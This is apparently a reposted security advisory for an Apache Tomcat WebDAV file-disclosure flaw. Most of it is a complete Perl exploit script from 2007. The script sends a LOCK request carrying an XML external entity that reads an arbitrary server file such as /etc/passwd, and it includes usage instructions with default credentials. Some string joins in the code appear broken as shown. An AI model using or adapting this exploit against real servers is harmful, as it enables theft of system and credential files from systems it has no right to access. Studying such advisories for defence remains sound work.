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Apache Tomcat File Disclosure (Exploit)

SUMMARY

A vulnerability in Apache Tomcat allows remote attackers to disclose the
content of files stored on the remote server by exploiting a vulnerability
in the way the WebDAV LOCK function handles requests.

DETAILS

Exploit:
#!/usr/bin/perl
#******************************************************

Apache Tomcat Remote File Disclosure Zeroday Xploit

kcdarookie aka eliteb0y / 2007

thanx to the whole team & andi :)

+++KEEP PRIV8+++

This Bug may reside in different WebDav implementations,

Warp your mind!

+You will need auth for the exploit to work…

#******************************************************

use IO::Socket;
use MIME::Base64; ### FIXME! Maybe support other auths too ?

SET REMOTE PORT HERE

$remoteport = 8080;

sub usage {
print "Apache Tomcat Remote File Disclosure Zeroday Xploit\n";
print "kcdarookie aka eliteb0y / 2007\n";
print "usage: perl TOMCATXPL <remotehost> <webdav file> <file to
retrieve> [username] [password]\n";
print "example: perl TOMCATXPL www.hostname.com /webdav /etc/passwd
tomcat tomcat\n";exit;
}

if ($#ARGV < 2) {usage();}

$hostname = $ARGV[0];
$webdavfile = $ARGV[1];
$remotefile = $ARGV[2];

$username = $ARGV[3];
$password = $ARGV[4];

my $sock = IO::Socket::INET->new(PeerAddr => $hostname,
PeerPort => $remoteport,
Proto => 'tcp');

$|=1;
$BasicAuth = encode_base64("$username:$password");

$KRADXmL =
"<?xml version=\"1.0\"?>\n"
"<!DOCTYPE REMOTE [\n"
"<!ENTITY RemoteX SYSTEM \"$remotefile\">\n"
"]>\n"
"<D:lockinfo xmlns:D='DAV:'>\n"
"<D:lockscope><D:exclusive/></D:lockscope>\n"
"<D:locktype><D:write/></D:locktype>\n"
"<D:owner>\n"
"<D:href>\n"
"<REMOTE>\n"
"<RemoteX>&RemoteX;</RemoteX>\n"
"</REMOTE>\n"
"</D:href>\n"
"</D:owner>\n"
"</D:lockinfo>\n";

print "Apache Tomcat Remote File Disclosure Zeroday Xploit\n";
print "kcdarookie aka eliteb0y / 2007\n";
print "Launching Remote Exploit…\n";

$ExploitRequest =
"LOCK $webdavfile HTTP/1.1\r\n"
"Host: $hostname\r\n";

if ($username ne "") {
$ExploitRequest .= "Authorization: Basic $BasicAuth\r\n";
}
$ExploitRequest .= "Content-Type: text/xml\r\nContent-Length:
".length($KRADXmL)."\r\n\r\n" . $KRADXmL;

print $sock $ExploitRequest;

while(<$sock>) {
print;
}

milw0rm.com [2007-10-14]

ADDITIONAL INFORMATION

The information has been provided by eliteb0y.
The original article can be found at:
<http://www.milw0rm.com/exploits/4530&gt;
http://www.milw0rm.com/exploits/4530

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